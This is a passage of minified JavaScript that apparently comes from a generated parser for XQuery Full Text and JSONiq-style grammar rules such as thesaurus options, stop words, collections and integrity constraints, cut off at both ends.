11:Pl(11);break;default:Pl(281),Il(267),jl(),G(),Pl(287)}ic.endNonterminal(\"FTWordsValue\",Vl)}function Nu(){switch($l){case 11:Hl(11);break;default:Hl(281),Il(267),Y(),Hl(287)}}function Cu(){ic.startNonterminal(\"FTExtensionSelection\",Vl);for(;;){jl(),Lr(),Il(104);if($l!=36)break}Pl(281),Il(184),$l!=287&&(jl(),ou()),Pl(287),ic.endNonterminal(\"FTExtensionSelection\",Vl)}function ku(){for(;;){Ar(),Il(104);if($l!=36)break}Hl(281),Il(184),$l!=287&&uu(),Hl(287)}function Lu(){ic.startNonterminal(\"FTAnyallOption\",Vl);switch($l){case 77:Pl(77),Il(218),$l==278&&Pl(278);break;case 72:Pl(72),Il(219),$l==279&&Pl(279);break;default:Pl(214)}ic.endNonterminal(\"FTAnyallOption\",Vl)}function Au(){switch($l){case 77:Hl(77),Il(218),$l==278&&Hl(278);break;case 72:Hl(72),Il(219),$l==279&&Hl(279);break;default:Hl(214)}}function Ou(){ic.startNonterminal(\"FTTimes\",Vl),Pl(199),Il(159),jl(),_u(),Pl(252),ic.endNonterminal(\"FTTimes\",Vl)}function Mu(){Hl(199),Il(159),Du(),Hl(252)}function _u(){ic.startNonterminal(\"FTRange\",Vl);switch($l){case 131:Pl(131),Il(266),jl(),Jn();break;case 82:Pl(82),Il(129);switch($l){case 176:Pl(176),Il(266),jl(),Jn();break;default:Pl(186),Il(266),jl(),Jn()}break;default:Pl(142),Il(266),jl(),Jn(),Pl(253),Il(266),jl(),Jn()}ic.endNonterminal(\"FTRange\",Vl)}function Du(){switch($l){case 131:Hl(131),Il(266),Kn();break;case 82:Hl(82),Il(129);switch($l){case 176:Hl(176),Il(266),Kn();break;default:Hl(186),Il(266),Kn()}break;default:Hl(142),Il(266),Kn(),Hl(253),Il(266),Kn()}}function Pu(){ic.startNonterminal(\"FTPosFilter\",Vl);switch($l){case 206:Bu();break;case 275:Fu();break;case 118:qu();break;case 116:case 227:Wu();break;default:Ju()}ic.endNonterminal(\"FTPosFilter\",Vl)}function Hu(){switch($l){case 206:ju();break;case 275:Iu();break;case 118:Ru();break;case 116:case 227:Xu();break;default:Ku()}}function Bu(){ic.startNonterminal(\"FTOrder\",Vl),Pl(206),ic.endNonterminal(\"FTOrder\",Vl)}function ju(){Hl(206)}function Fu(){ic.startNonterminal(\"FTWindow\",Vl),Pl(275),Il(266),jl(),Jn(),jl(),Uu(),ic.endNonterminal(\"FTWindow\",Vl)}function Iu(){Hl(275),Il(266),Kn(),zu()}function qu(){ic.startNonterminal(\"FTDistance\",Vl),Pl(118),Il(159),jl(),_u(),jl(),Uu(),ic.endNonterminal(\"FTDistance\",Vl)}function Ru(){Hl(118),Il(159),Du(),zu()}function Uu(){ic.startNonterminal(\"FTUnit\",Vl);switch($l){case 279:Pl(279);break;case 237:Pl(237);break;default:Pl(209)}ic.endNonterminal(\"FTUnit\",Vl)}function zu(){switch($l){case 279:Hl(279);break;case 237:Hl(237);break;default:Hl(209)}}function Wu(){ic.startNonterminal(\"FTScope\",Vl);switch($l){case 227:Pl(227);break;default:Pl(116)}Il(136),jl(),Vu(),ic.endNonterminal(\"FTScope\",Vl)}function Xu(){switch($l){case 227:Hl(227);break;default:Hl(116)}Il(136),$u()}function Vu(){ic.startNonterminal(\"FTBigUnit\",Vl);switch($l){case 236:Pl(236);break;default:Pl(208)}ic.endNonterminal(\"FTBigUnit\",Vl)}function $u(){switch($l){case 236:Hl(236);break;default:Hl(208)}}function Ju(){ic.startNonterminal(\"FTContent\",Vl);switch($l){case 82:Pl(82),Il(121);switch($l){case 242:Pl(242);break;default:Pl(127)}break;default:Pl(128),Il(45),Pl(101)}ic.endNonterminal(\"FTContent\",Vl)}function Ku(){switch($l){case 82:Hl(82),Il(121);switch($l){case 242:Hl(242);break;default:Hl(127)}break;default:Hl(128),Il(45),Hl(101)}}function Qu(){ic.startNonterminal(\"FTMatchOptions\",Vl);for(;;){Pl(265),Il(205),jl(),Yu(),Il(214);if($l!=265)break}ic.endNonterminal(\"FTMatchOptions\",Vl)}function Gu(){for(;;){Hl(265),Il(205),Zu(),Il(214);if($l!=265)break}}function Yu(){ic.startNonterminal(\"FTMatchOption\",Vl);switch($l){case 191:ql(176);break;default:Wl=$l}switch(Wl){case 172:ya();break;case 274:case 140479:wa();break;case 251:case 128703:oa();break;case 243:case 124607:ia();break;case 115:na();break;case 244:case 125119:ha();break;case 203:Sa();break;default:ea()}ic.endNonterminal(\"FTMatchOption\",Vl)}function Zu(){switch($l){case 191:ql(176);break;default:Wl=$l}switch(Wl){case 172:ba();break;case 274:case 140479:Ea();break;case 251:case 128703:ua();break;case 243:case 124607:sa();break;case 115:ra();break;case 244:case 125119:pa();break;case 203:xa();break;default:ta()}}function ea(){ic.startNonterminal(\"FTCaseOption\",Vl);switch($l){case 89:Pl(89),Il(128);switch($l){case 160:Pl(160);break;default:Pl(235)}break;case 180:Pl(180);break;default:Pl(264)}ic.endNonterminal(\"FTCaseOption\",Vl)}function ta(){switch($l){case 89:Hl(89),Il(128);switch($l){case 160:Hl(160);break;default:Hl(235)}break;case 180:Hl(180);break;default:Hl(264)}}function na(){ic.startNonterminal(\"FTDiacriticsOption\",Vl),Pl(115),Il(128);switch($l){case 160:Pl(160);break;default:Pl(235)}ic.endNonterminal(\"FTDiacriticsOption\",Vl)}function ra(){Hl(115),Il(128);switch($l){case 160:Hl(160);break;default:Hl(235)}}function ia(){ic.startNonterminal(\"FTStemOption\",Vl);switch($l){case 243:Pl(243);break;default:Pl(191),Il(77),Pl(243)}ic.endNonterminal(\"FTStemOption\",Vl)}function sa(){switch($l){case 243:Hl(243);break;default:Hl(191),Il(77),Hl(243)}}function oa(){ic.startNonterminal(\"FTThesaurusOption\",Vl);switch($l){case 251:Pl(251),Il(152);switch($l){case 82:jl(),aa();break;case 110:Pl(110);break;default:Pl(35),Il(116);switch($l){case 82:jl(),aa();break;default:Pl(110)}for(;;){Il(105);if($l!=42)break;Pl(42),Il(34),jl(),aa()}Pl(38)}break;default:Pl(191),Il(81),Pl(251)}ic.endNonterminal(\"FTThesaurusOption\",Vl)}function ua(){switch($l){case 251:Hl(251),Il(152);switch($l){case 82:fa();break;case 110:Hl(110);break;default:Hl(35),Il(116);switch($l){case 82:fa();break;default:Hl(110)}for(;;){Il(105);if($l!=42)break;Hl(42),Il(34),fa()}Hl(38)}break;default:Hl(191),Il(81),Hl(251)}}function aa(){ic.startNonterminal(\"FTThesaurusID\",Vl),Pl(82),Il(15),Pl(7),Il(220),$l==221&&(Pl(221),Il(17),Pl(11)),Il(216);switch($l){case 82:ql(183);break;default:Wl=$l}if(Wl==131||Wl==142||Wl==90194||Wl==95314)jl(),la(),Il(61),Pl(178);ic.endNonterminal(\"FTThesaurusID\",Vl)}function fa(){Hl(82),Il(15),Hl(7),Il(220),$l==221&&(Hl(221),Il(17),Hl(11)),Il(216);switch($l){case 82:ql(183);break;default:Wl=$l}if(Wl==131||Wl==142||Wl==90194||Wl==95314)ca(),Il(61),Hl(178)}function la(){ic.startNonterminal(\"FTLiteralRange\",Vl);switch($l){case 131:Pl(131),Il(16),Pl(8);break;case 82:Pl(82),Il(129);switch($l){case 176:Pl(176),Il(16),Pl(8);break;default:Pl(186),Il(16),Pl(8)}break;default:Pl(142),Il(16),Pl(8),Il(82),Pl(253),Il(16),Pl(8)}ic.endNonterminal(\"FTLiteralRange\",Vl)}function ca(){switch($l){case 131:Hl(131),Il(16),Hl(8);break;case 82:Hl(82),Il(129);switch($l){case 176:Hl(176),Il(16),Hl(8);break;default:Hl(186),Il(16),Hl(8)}break;default:Hl(142),Il(16),Hl(8),Il(82),Hl(253),Il(16),Hl(8)}}function ha(){ic.startNonterminal(\"FTStopWordOption\",Vl);switch($l){case 244:Pl(244),Il(89),Pl(279),Il(152);switch($l){case 110:Pl(110);for(;;){Il(217);if($l!=132&&$l!=260)break;jl(),ma()}break;default:jl(),da();for(;;){Il(217);if($l!=132&&$l!=260)break;jl(),ma()}}break;default:Pl(191),Il(78),Pl(244),Il(89),Pl(279)}ic.endNonterminal(\"FTStopWordOption\",Vl)}function pa(){switch($l){case 244:Hl(244),Il(89),Hl(279),Il(152);switch($l){case 110:Hl(110);for(;;){Il(217);if($l!=132&&$l!=260)break;ga()}break;default:va();for(;;){Il(217);if($l!=132&&$l!=260)break;ga()}}break;default:Hl(191),Il(78),Hl(244),Il(89),Hl(279)}}function da(){ic.startNonterminal(\"FTStopWords\",Vl);switch($l){case 82:Pl(82),Il(15),Pl(7);break;default:Pl(35),Il(17),Pl(11);for(;;){Il(105);if($l!=42)break;Pl(42),Il(17),Pl(11)}Pl(38)}ic.endNonterminal(\"FTStopWords\",Vl)}function va(){switch($l){case 82:Hl(82),Il(15),Hl(7);break;default:Hl(35),Il(17),Hl(11);for(;;){Il(105);if($l!=42)break;Hl(42),Il(17),Hl(11)}Hl(38)}}function ma(){ic.startNonterminal(\"FTStopWordsInclExcl\",Vl);switch($l){case 260:Pl(260);break;default:Pl(132)}Il(103),jl(),da(),ic.endNonterminal(\"FTStopWordsInclExcl\",Vl)}function ga(){switch($l){case 260:Hl(260);break;default:Hl(132)}Il(103),va()}function ya(){ic.startNonterminal(\"FTLanguageOption\",Vl),Pl(172),Il(17),Pl(11),ic.endNonterminal(\"FTLanguageOption\",Vl)}function ba(){Hl(172),Il(17),Hl(11)}function wa(){ic.startNonterminal(\"FTWildCardOption\",Vl);switch($l){case 274:Pl(274);break;default:Pl(191),Il(87),Pl(274)}ic.endNonterminal(\"FTWildCardOption\",Vl)}function Ea(){switch($l){case 274:Hl(274);break;default:Hl(191),Il(87),Hl(274)}}function Sa(){ic.startNonterminal(\"FTExtensionOption\",Vl),Pl(203),Il(246),jl(),$a(),Il(17),Pl(11),ic.endNonterminal(\"FTExtensionOption\",Vl)}function xa(){Hl(203),Il(246),Ja(),Il(17),Hl(11)}function Ta(){ic.startNonterminal(\"FTIgnoreOption\",Vl),Pl(277),Il(45),Pl(101),Il(266),jl(),Yn(),ic.endNonterminal(\"FTIgnoreOption\",Vl)}function Na(){Hl(277),Il(45),Hl(101),Il(266),Zn()}function Ca(){ic.startNonterminal(\"CollectionDecl\",Vl),Pl(96),Il(246),jl(),$a(),Il(111),$l==80&&(jl(),ka()),ic.endNonterminal(\"CollectionDecl\",Vl)}function ka(){ic.startNonterminal(\"CollectionTypeDecl\",Vl),Pl(80),Il(200),jl(),Vs(),Il(171),$l!=54&&(jl(),Os()),ic.endNonterminal(\"CollectionTypeDecl\",Vl)}function La(){ic.startNonterminal(\"IndexName\",Vl),$a(),ic.endNonterminal(\"IndexName\",Vl)}function Aa(){ic.startNonterminal(\"IndexDomainExpr\",Vl),Or(),ic.endNonterminal(\"IndexDomainExpr\",Vl)}function Oa(){ic.startNonterminal(\"IndexKeySpec\",Vl),Ma(),$l==80&&(jl(),_a()),Il(156),$l==95&&(jl(),Pa()),ic.endNonterminal(\"IndexKeySpec\",Vl)}function Ma(){ic.startNonterminal(\"IndexKeyExpr\",Vl),Or(),ic.endNonterminal(\"IndexKeyExpr\",Vl)}function _a(){ic.startNonterminal(\"IndexKeyTypeDecl\",Vl),Pl(80),Il(246),jl(),Da(),Il(189);if($l==40||$l==41||$l==65)jl(),Os();ic.endNonterminal(\"IndexKeyTypeDecl\",Vl)}function Da(){ic.startNonterminal(\"AtomicType\",Vl),$a(),ic.endNonterminal(\"AtomicType\",Vl)}function Pa(){ic.startNonterminal(\"IndexKeyCollation\",Vl),Pl(95),Il(15),Pl(7),ic.endNonterminal(\"IndexKeyCollation\",Vl)}function Ha(){ic.startNonterminal(\"IndexDecl\",Vl),Pl(157),Il(246),jl(),La(),Il(68),Pl(201),Il(66),Pl(195),Il(263),jl(),Aa(),Pl(88),Il(263),jl(),Oa();for(;;){Il(107);if($l!=42)break;Pl(42),Il(263),jl(),Oa()}ic.endNonterminal(\"IndexDecl\",Vl)}function Ba(){ic.startNonterminal(\"ICDecl\",Vl),Pl(163),Il(43),Pl(98),Il(246),jl(),$a(),Il(124);switch($l){case 201:jl(),ja();break;default:jl(),Ra()}ic.endNonterminal(\"ICDecl\",Vl)}function ja(){ic.startNonterminal(\"ICCollection\",Vl),Pl(201),Il(42),Pl(96),Il(246),jl(),$a(),Il(150);switch($l){case 31:jl(),Fa();break;case 194:jl(),Ia();break;default:jl(),qa()}ic.endNonterminal(\"ICCollection\",Vl)}function Fa(){ic.startNonterminal(\"ICCollSequence\",Vl),Si(),Il(40),Pl(93),Il(267),jl(),Wf(),ic.endNonterminal(\"ICCollSequence\",Vl)}function Ia(){ic.startNonterminal(\"ICCollSequenceUnique\",Vl),Pl(194),Il(21),jl(),Si(),Il(40),Pl(93),Il(83),Pl(261),Il(60),Pl(171),Il(263),jl(),Or(),ic.endNonterminal(\"ICCollSequenceUnique\",Vl)}function qa(){ic.startNonterminal(\"ICCollNode\",Vl),Pl(140),Il(65),Pl(194),Il(21),jl(),Si(),Il(40),Pl(93),Il(267),jl(),Wf(),ic.endNonterminal(\"ICCollNode\",Vl)}function Ra(){ic.startNonterminal(\"ICForeignKey\",Vl),Pl(141),Il(60),Pl(171),Il(54),jl(),Ua(),jl(),za(),ic.endNonterminal(\"ICForeignKey\",Vl)}function Ua(){ic.startNonterminal(\"ICForeignKeySource\",Vl),Pl(142),Il(42),jl(),Wa(),ic.endNonterminal(\"ICForeignKeySource\",Vl)}function za(){ic.startNonterminal(\"ICForeignKeyTarget\",Vl),Pl(253),Il(42),jl(),Wa(),ic.endNonterminal(\"ICForeignKeyTarget\",Vl)}function Wa(){ic.startNonterminal(\"ICForeignKeyValues\",Vl),Pl(96),Il(246),jl(),$a(),Il(65),Pl(194),Il(21),jl(),Si(),Il(60),Pl(171),Il(263),jl(),Or(),ic.endNonterminal(\"ICForeignKeyValues\",Vl)}function Xa(){Hl(37);for(;;){Rl(92);if($l==51)break;switch($l){case 24:Hl(24);break;default:Xa()}}Hl(51)}function Va(){switch($l){case 22:Hl(22);break;default:Xa()}}function $a(){ic.startNonterminal(\"EQName\",Vl),Rl(241);switch($l){case 83:Pl(83);break;case 97:Pl(97);break;case 121:Pl(121);break;case 122:Pl(122);break;case 125:Pl(125);break;case 147:Pl(147);break;case 154:Pl(154);break;case 167:Pl(167);break;case 188:Pl(188);break;case 194:Pl(194);break;case 220:Pl(220);break;case 230:Pl(230);break;case 231:Pl(231);break;case 248:Pl(248);break;case 249:Pl(249);break;case 259:Pl(259);break;case 79:Pl(79);break;case 169:Pl(169);break;case 247:Pl(247);break;default:Ka()}ic.endNonterminal(\"EQName\",Vl)}function Ja(){Rl(241);switch($l){case 83:Hl(83);break;case 97:Hl(97);break;case 121:Hl(121);break;case 122:Hl(122);break;case 125:Hl(125);break;case 147:Hl(147);break;case 154:Hl(154);break;case 167:Hl(167);break;case 188:Hl(188);break;case 194:Hl(194);break;case 220:Hl(220);break;case 230:Hl(230);break;case 231:Hl(231);break;case 248:Hl(248);break;case 249:Hl(249);break;case 259:Hl(259);break;case 79:Hl(79);break;case 169:Hl(169);break;case 247:Hl(247);break;default:Qa()}}function Ka(){ic.startNonterminal(\"FunctionName\",Vl);switch($l){case 6:Pl(6);break;case 71:Pl(71);break;case 74:Pl(74);break;case 75:Pl(75);break;case 76:Pl(76);break;case 80:Pl(80);break;case 81:Pl(81);break;case 85:Pl(85);break;case 89:Pl(89);break;case 90:Pl(90);break;case 91:Pl(91);break;case 94:Pl(94);break;case 95:Pl(95);break;case 104:Pl(104);break;case 106:Pl(106);break;case 109:Pl(109);break;case 110:Pl(110);break;case 111:Pl(111);break;case 112:Pl(112);break;case 113:Pl(113);break;case 114:Pl(114);break;case 119:Pl(119);break;case 120:Pl(120);break;case 123:Pl(123);break;case 124:Pl(124);break;case 127:Pl(127);break;case 129:Pl(129);break;case 130:Pl(130);break;case 132:Pl(132);break;case 136:Pl(136);break;case 137:Pl(137);break;case 138:Pl(138);break;case 139:Pl(139);break;case 148:Pl(148);break;case 150:Pl(150);break;case 152:Pl(152);break;case 153:Pl(153);break;case 155:Pl(155);break;case 161:Pl(161);break;case 162:Pl(162);break;case 164:Pl(164);break;case 165:Pl(165);break;case 166:Pl(166);break;case 173:Pl(173);break;case 175:Pl(175);break;case 177:Pl(177);break;case 181:Pl(181);break;case 183:Pl(183);break;case 184:Pl(184);break;case 185:Pl(185);break;case 187:Pl(187);break;case 189:Pl(189);break;case 202:Pl(202);break;case 204:Pl(204);break;case 205:Pl(205);break;case 206:Pl(206);break;case 210:Pl(210);break;case 216:Pl(216);break;case 217:Pl(217);break;case 222:Pl(222);break;case 223:Pl(223);break;case 224:Pl(224);break;case 228:Pl(228);break;case 234:Pl(234);break;case 240:Pl(240);break;case 241:Pl(241);break;case 242:Pl(242);break;case 253:Pl(253);break;case 254:Pl(254);break;case 256:Pl(256);break;case 260:Pl(260);break;case 262:Pl(262);break;case 266:Pl(266);break;case 272:Pl(272);break;case 276:Pl(276);break;case 170:Pl(170);break;case 73:Pl(73);break;case 82:Pl(82);break;case 84:Pl(84);break;case 86:Pl(86);break;case 87:Pl(87);break;case 92:Pl(92);break;case 99:Pl(99);break;case 102:Pl(102);break;case 103:Pl(103);break;case 105:Pl(105);break;case 107:Pl(107);break;case 126:Pl(126);break;case 133:Pl(133);break;case 134:Pl(134);break;case 143:Pl(143);break;case 156:Pl(156);break;case 157:Pl(157);break;case 163:Pl(163);break;case 174:Pl(174);break;case 195:Pl(195);break;case 203:Pl(203);break;case 207:Pl(207);break;case 226:Pl(226);break;case 229:Pl(229);break;case 232:Pl(232);break;case 239:Pl(239);break;case 245:Pl(245);break;case 257:Pl(257);break;case 258:Pl(258);break;case 263:Pl(263);break;case 267:Pl(267);break;case 268:Pl(268);break;case 269:Pl(269);break;case 273:Pl(273);break;case 98:Pl(98);break;case 179:Pl(179);break;case 225:Pl(225);break;case 78:Pl(78);break;case 135:Pl(135);break;case 142:Pl(142);break;case 197:Pl(197);break;case 168:Pl(168);break;case 198:Pl(198);break;case 233:Pl(233);break;default:Pl(255)}ic.endNonterminal(\"FunctionName\",Vl)}function Qa(){switch($l){case 6:Hl(6);break;case 71:Hl(71);break;case 74:Hl(74);break;case 75:Hl(75);break;case 76:Hl(76);break;case 80:Hl(80);break;case 81:Hl(81);break;case 85:Hl(85);break;case 89:Hl(89);break;case 90:Hl(90);break;case 91:Hl(91);break;case 94:Hl(94);break;case 95:Hl(95);break;case 104:Hl(104);break;case 106:Hl(106);break;case 109:Hl(109);break;case 110:Hl(110);break;case 111:Hl(111);break;case 112:Hl(112);break;case 113:Hl(113);break;case 114:Hl(114);break;case 119:Hl(119);break;case 120:Hl(120);break;case 123:Hl(123);break;case 124:Hl(124);break;case 127:Hl(127);break;case 129:Hl(129);break;case 130:Hl(130);break;case 132:Hl(132);break;case 136:Hl(136);break;case 137:Hl(137);break;case 138:Hl(138);break;case 139:Hl(139);break;case 148:Hl(148);break;case 150:Hl(150);break;case 152:Hl(152);break;case 153:Hl(153);break;case 155:Hl(155);break;case 161:Hl(161);break;case 162:Hl(162);break;case 164:Hl(164);break;case 165:Hl(165);break;case 166:Hl(166);break;case 173:Hl(173);break;case 175:Hl(175);break;case 177:Hl(177);break;case 181:Hl(181);break;case 183:Hl(183);break;case 184:Hl(184);break;case 185:Hl(185);break;case 187:Hl(187);break;case 189:Hl(189);break;case 202:Hl(202);break;case 204:Hl(204);break;case 205:Hl(205);break;case 206:Hl(206);break;case 210:Hl(210);break;case 216:Hl(216);break;case 217:Hl(217);break;case 222:Hl(222);break;case 223:Hl(223);break;case 224:Hl(224);break;case 228:Hl(228);break;case 234:Hl(234);break;case 240:Hl(240);break;case 241:Hl(241);break;case 242:Hl(242);break;case 253:Hl(253);break;case 254:Hl(254);break;case 256:Hl(256);break;case 260:Hl(260);break;case 262:Hl(262);break;case 266:Hl(266);break;case 272:Hl(272);break;case 276:Hl(276);break;case 170:Hl(170);break;case 73:Hl(73);break;case 82:Hl(82);break;case 84:Hl(84);break;case 86:Hl(86);break;case 87:Hl(87);break;case 92:Hl(92);break;case 99:Hl(99);break;case 102:Hl(102);break;case 103:Hl(103);break;case 105:Hl(105);break;case 107:Hl(107);break;case 126:Hl(126);break;case 133:Hl(133);break;case 134:Hl(134);break;case 143:Hl(143);break;case 156:Hl(156);break;case 157:Hl(157);break;case 163:Hl(163);break;case 174:Hl(174);break;case 195:Hl(195);break;case 203:Hl(203);break;case 207:Hl(207);break;case 226:Hl(226);break;case 229:Hl(229);break;case 232:Hl(232);break;case 239:Hl(239);break;case 245:Hl(245);break;case 257:Hl(257);break;case 258:Hl(258);break;case 263:Hl(263);break;case 267:Hl(267);break;case 268:Hl(268);break;case 269:Hl(269);break;case 273:Hl(273);break;case 98:Hl(98);break;case 179:Hl(179);break;case 225:Hl(225);break;case 78:Hl(78);break;case 135:Hl(135);break;case 142:Hl(142);break;case 197:Hl(197);break;case 168:Hl(168);break;case 198:Hl(198);break;case 233:Hl(233);break;default:Hl(255)}}function Ga(){ic.startNonterminal(\"NCName\",Vl);switch($l){case 19:Pl(19);break;case 71:Pl(71);break;case 76:Pl(76);break;case 80:Pl(80);break;case 81:Pl(81);break;case 85:Pl(85);break;case 89:Pl(89);break;case 90:Pl(90);break;case 91:Pl(91);break;case 95:Pl(95);break;case 106:Pl(106);break;case 110:Pl(110);break;case 114:Pl(114);break;case 119:Pl(119);break;case 123:Pl(123);break;case 124:Pl(124);break;case 127:Pl(127);break;case 129:Pl(129);break;case 132:Pl(132);break;case 139:Pl(139);break;case 148:Pl(148);break;case 150:Pl(150);break;case 152:Pl(152);break;case 153:Pl(153);break;case 162:Pl(162);break;case 164:Pl(164);break;case 165:Pl(165);break;case 166:Pl(166);break;case 175:Pl(175);break;case 177:Pl(177);break;case 181:Pl(181);break;case 183:Pl(183);break;case 184:Pl(184);break;case 189:Pl(189);break;case 202:Pl(202);break;case 204:Pl(204);break;case 205:Pl(205);break;case 224:Pl(224);break;case 228:Pl(228);break;case 241:Pl(241);break;case 242:Pl(242);break;case 253:Pl(253);break;case 254:Pl(254);break;case 260:Pl(260);break;case 272:Pl(272);break;case 276:Pl(276);break;case 74:Pl(74);break;case 75:Pl(75);break;case 83:Pl(83);break;case 94:Pl(94);break;case 97:Pl(97);break;case 104:Pl(104);break;case 109:Pl(109);break;case 111:Pl(111);break;case 112:Pl(112);break;case 113:Pl(113);break;case 120:Pl(120);break;case 121:Pl(121);break;case 122:Pl(122);break;case 125:Pl(125);break;case 130:Pl(130);break;case 136:Pl(136);break;case 137:Pl(137);break;case 138:Pl(138);break;case 147:Pl(147);break;case 154:Pl(154);break;case 155:Pl(155);break;case 161:Pl(161);break;case 167:Pl(167);break;case 173:Pl(173);break;case 185:Pl(185);break;case 187:Pl(187);break;case 188:Pl(188);break;case 194:Pl(194);break;case 206:Pl(206);break;case 210:Pl(210);break;case 216:Pl(216);break;case 217:Pl(217);break;case 220:Pl(220);break;case 222:Pl(222);break;case 223:Pl(223);break;case 230:Pl(230);break;case 231:Pl(231);break;case 234:Pl(234);break;case 240:Pl(240);break;case 248:Pl(248);break;case 249:Pl(249);break;case 256:Pl(256);break;case 259:Pl(259);break;case 262:Pl(262);break;case 266:Pl(266);break;case 268:Pl(268);break;case 170:Pl(170);break;case 73:Pl(73);break;case 82:Pl(82);break;case 84:Pl(84);break;case 86:Pl(86);break;case 87:Pl(87);break;case 92:Pl(92);break;case 99:Pl(99);break;case 102:Pl(102);break;case 103:Pl(103);break;case 105:Pl(105);break;case 107:Pl(107);break;case 126:Pl(126);break;case 133:Pl(133);break;case 134:Pl(134);break;case 143:Pl(143);break;case 156:Pl(156);break;case 157:Pl(157);break;case 163:Pl(163);break;case 174:Pl(174);break;case 195:Pl(195);break;case 203:Pl(203);break;case 207:Pl(207);break;case 226:Pl(226);break;case 229:Pl(229);break;case 232:Pl(232);break;case 239:Pl(239);break;case 245:Pl(245);break;case 257:Pl(257);break;case 258:Pl(258);break;case 263:Pl(263);break;case 267:Pl(267);break;case 269:Pl(269);break;case 273:Pl(273);break;case 98:Pl(98);break;case 179:Pl(179);break;case 225:Pl(225);break;case 78:Pl(78);break;case 135:Pl(135);break;case 142:Pl(142);break;case 197:Pl(197);break;case 168:Pl(168);break;case 198:Pl(198);break;case 233:Pl(233);break;default:Pl(255)}ic.endNonterminal(\"NCName\",Vl)}function Ya(){switch($l){case 19:Hl(19);break;case 71:Hl(71);break;case 76:Hl(76);break;case 80:Hl(80);break;case 81:Hl(81);break;case 85:Hl(85);break;case 89:Hl(89);break;case 90:Hl(90);break;case 91:Hl(91);break;case 95:Hl(95);break;case 106:Hl(106);break;case 110:Hl(110);break;case 114:Hl(114);break;case 119:Hl(119);break;case 123:Hl(123);break;case 124:Hl(124);break;case 127:Hl(127);break;case 129:Hl(129);break;case 132:Hl(132);break;case 139:Hl(139);break;case 148:Hl(148);break;case 150:Hl(150);break;case 152:Hl(152);break;case 153:Hl(153);break;case 162:Hl(162);break;case 164:Hl(164);break;case 165:Hl(165);break;case 166:Hl(166);break;case 175:Hl(175);break;case 177:Hl(177);break;case 181:Hl(181);break;case 183:Hl(183);break;case 184:Hl(184);break;case 189:Hl(189);break;case 202:Hl(202);break;case 204:Hl(204);break;case 205:Hl(205);break;case 224:Hl(224);break;case 228:Hl(228);break;case 241:Hl(241);break;case 242:Hl(242);break;case 253:Hl(253);break;case 254:Hl(254);break;case 260:Hl(260);break;case 272:Hl(272);break;case 276:Hl(276);break;case 74:Hl(74);break;case 75:Hl(75);break;case 83:Hl(83);break;case 94:Hl(94);break;case 97:Hl(97);break;case 104:Hl(104);break;case 109:Hl(109);break;case 111:Hl(111);break;case 112:Hl(112);break;case 113:Hl(113);break;case 120:Hl(120);break;case 121:Hl(121);break;case 122:Hl(122);break;case 125:Hl(125);break;case 130:Hl(130);break;case 136:Hl(136);break;case 137:Hl(137);break;case 138:Hl(138);break;case 147:Hl(147);break;case 154:Hl(154);break;case 155:Hl(155);break;case 161:Hl(161);break;case 167:Hl(167);break;case 173:Hl(173);break;case 185:Hl(185);break;case 187:Hl(187);break;case 188:Hl(188);break;case 194:Hl(194);break;case 206:Hl(206);break;case 210:Hl(210);break;case 216:Hl(216);break;case 217:Hl(217);break;case 220:Hl(220);break;case 222:Hl(222);break;case 223:Hl(223);break;case 230:Hl(230);break;case 231:Hl(231);break;case 234:Hl(234);break;case 240:Hl(240);break;case 248:Hl(248);break;case 249:Hl(249);break;case 256:Hl(256);break;case 259:Hl(259);break;case 262:Hl(262);break;case 266:Hl(266);break;case 268:Hl(268);break;case 170:Hl(170);break;case 73:Hl(73);break;case 82:Hl(82);break;case 84:Hl(84);break;case 86:Hl(86);break;case 87:Hl(87);break;case 92:Hl(92);break;case 99:Hl(99);break;case 102:Hl(102);break;case 103:Hl(103);break;case 105:Hl(105);break;case 107:Hl(107);break;case 126:Hl(126);break;case 133:Hl(133);break;case 134:Hl(134);break;case 143:Hl(143);break;case 156:Hl(156);break;case 157:Hl(157);break;case 163:Hl(163);break;case 174:Hl(174);break;case 195:Hl(195);break;case 203:Hl(203);break;case 207:Hl(207);break;case 226:Hl(226);break;case 229:Hl(229);break;case 232:Hl(232);break;case 239:Hl(239);break;case 245:Hl(245);break;case 257:Hl(257);break;case 258:Hl(258);break;case 263:Hl(263);break;case 267:Hl(267);break;case 269:Hl(269);break;case 273:Hl(273);break;case 98:Hl(98);break;case 179:Hl(179);break;case 225:Hl(225);break;case 78:Hl(78);break;case 135:Hl(135);break;case 142:Hl(142);break;case 197:Hl(197);break;case 168:Hl(168);break;case 198:Hl(198);break;case 233:Hl(233);break;default:Hl(255)}}function Za(){ic.startNonterminal(\"MainModule\",Vl),l(),jl(),ef(),ic.endNonterminal(\"MainModule\",Vl)}function ef(){ic.startNonterminal(\"Program\",Vl),of(),ic.endNonterminal(\"Program\",Vl)}function tf(){ic.startNonterminal(\"Statements\",Vl);for(;;){Il(284);switch($l){case 35:ql(270);break;case 36:Ul(243);break;case 47:ql(286);break;case 48:ql(260);break;case 55:Ul(4);break;case 56:Ul(1);break;case 60:Ul(3);break;case 69:ql(273);break;case 78:ql(269);break;case 133:ql(147);break;case 139:ql(179);break;case 161:ql(276);break;case 177:ql(166);break;case 187:ql(247);break;case 220:ql(245);break;case 223:ql(170);break;case 266:ql(188);break;case 281:ql(283);break;case 283:ql(274);break;case 31:case 33:ql(246);break;case 83:case 122:ql(253);break;case 87:case 103:ql(145);break;case 97:case 249:ql(97);break;case 111:case 222:ql(261);break;case 41:case 43:case 196:ql(266);break;case 135:case 197:case 255:ql(211);break;case 104:case 130:case 240:case 268:ql(143);break;case 120:case 206:case 256:case 262:ql(148);break;case 8:case 9:case 10:case 11:case 32:ql(210);break;case 79:case 121:case 125:case 167:case 169:case 188:case 194:case 230:case 231:case 247:ql(20);break;case 6:case 71:case 73:case 74:case 75:case 76:case 80:case 81:case 82:case 84:case 85:case 86:case 89:case 90:case 91:case 92:case 94:case 95:case 98:case 99:case 102:case 105:case 106:case 107:case 109:case 110:case 112:case 113:case 114:case 119:case 123:case 124:case 126:case 127:case 129:case 132:case 134:case 136:case 137:case 138:case 142:case 143:case 147:case 148:case 150:case 152:case 153:case 154:case 155:case 156:case 157:case 162:case 163:case 164:case 165:case 166:case 168:case 170:case 173:case 174:case 175:case 179:case 181:case 183:case 184:case 185:case 189:case 195:case 198:case 202:case 203:case 204:case 205:case 207:case 210:case 216:case 217:case 224:case 225:case 226:case 228:case 229:case 232:case 233:case 234:case 239:case 241:case 242:case 245:case 248:case 253:case 254:case 257:case 258:case 259:case 260:case 263:case 267:case 269:case 272:case 273:case 